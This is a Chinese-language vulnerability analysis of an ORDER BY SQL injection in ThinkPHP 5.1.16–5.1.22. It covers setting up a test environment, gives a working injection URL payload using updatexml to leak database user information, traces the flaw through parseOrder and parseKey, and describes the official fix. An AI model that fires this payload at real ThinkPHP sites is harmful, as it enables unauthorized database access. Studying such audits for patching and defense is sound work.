- 本次漏洞存在于 Builder 类的 parseOrder 方法中,由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL 注入漏洞的产生
- 漏洞影响版本: 5.1.16<=ThinkPHP5<=5.1.22
获取测试环境代码
composer create-project --prefer-dist topthink/think=5.1.22 tpdemo
将 composer.json 文件的 require 字段设置成如下
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.22"
},
然后执行
composer update
下载后的源码中,需要对
application/index/controller/Index.php
内容进行修改
namespace app\index\controller;
class Index
{
public function index()
{
$orderby = request()->get('orderby');
$result = db('users')->where(['username' => 'mochazz'])->order($orderby)->find();
var_dump($result);
return ' :)
ThinkPHP V5.1
12载初心不改(2006-2018) - 你值得信赖的PHP框架
';
}
}
在
config/database.php
文件中配置数据库相关信息,并开启config/app.php
中的app_debug
和app_trace
,创建数据库信息如下
create database thinkphp;
use thinkphp;
create table users(
id int primary key auto_increment,
username varchar(50) not null
);
insert into users(id,username) values(1,'H3rmesk1t');
Payload
http://127.0.0.1/cms/public/index.php?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1
首先数据都会进入到
Request
类中的input
方法,并且经过filterValue
方法的过滤和强制类型转换并返回$data
这里
array_walk_recursive
函数对数组中的成员递归调用filterValue
过滤函数,但是filterValue
过滤函数,不过滤数组的key
, 只过滤了数组的value
,用户输入的数据会原样进入框架的 SQL 查询方法中,进入Query
类
恶意Payload 未经过任何过滤直接传递给
options['order']
中
接着调用
find
方法,此处$this->connection
是think/db/connectior/Mysql
类 ,继承于Connection
类,于是此处继续调用该类的find
方法
该方法继续调用了
$this->builder
, 即think/db/builder/Mysql
类的select
方法,该方法通过str_replace
函数,将数据填充到SQL语句中
然后调用了
parseOrder
方法,跟进该方法,$order
是输入的数据,然后经过了parseKey
方法处理后返回给$array
,跟进查看该方法的实现
protected function parseOrder(Query $query, $order)
{
if (empty($order)) {
return '';
}
$array = [];
foreach ($order as $key => $val) {
if ($val instanceof Expression) {
$array[] = $val->getValue();
} elseif (is_array($val)) {
$array[] = $this->parseOrderField($query, $key, $val);
} elseif ('[rand]' == $val) {
$array[] = $this->parseRand($query);
} else {
if (is_numeric($key)) {
list($key, $sort) = explode(' ', strpos($val, ' ') ? $val : $val . ' ');
} else {
$sort = $val;
}
$sort = strtoupper($sort);
$sort = in_array($sort, ['ASC', 'DESC'], true) ? ' ' . $sort : '';
$array[] = $this->parseKey($query, $key, true) . $sort;
}
}
return ' ORDER BY ' . implode(',', $array);
}
跟进
thinkphp/library/think/db/builder/Mysql.php
,该方法在变量$key
的两端添加了反引号进行拼接并且没有任何过滤
最终返回了一个带有 ORDER BY 的 SQL 注入 payload 给要执行的SQL语句,实现 ORDER BY 注入
完整的方法调用,从下往上
官方的修复方法是:在拼接字符串前对变量进行检查,看是否存在
)、#
两个符号
参考Mochazz师傅的审计流程